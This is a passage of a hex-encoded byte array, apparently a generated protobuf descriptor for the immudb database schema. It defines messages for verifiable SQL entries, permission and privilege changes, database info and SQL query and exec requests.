0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xad, 0x01, 0x0a, 0x1a, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x22, 0x1d, 0x0a, 0x1b, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x53, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x39, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x83, 0x02, 0x0a, 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x64, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1d, 0x0a, 0x0a, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0xa4, 0x01, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x42, 0x02, 0x18, 0x01, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 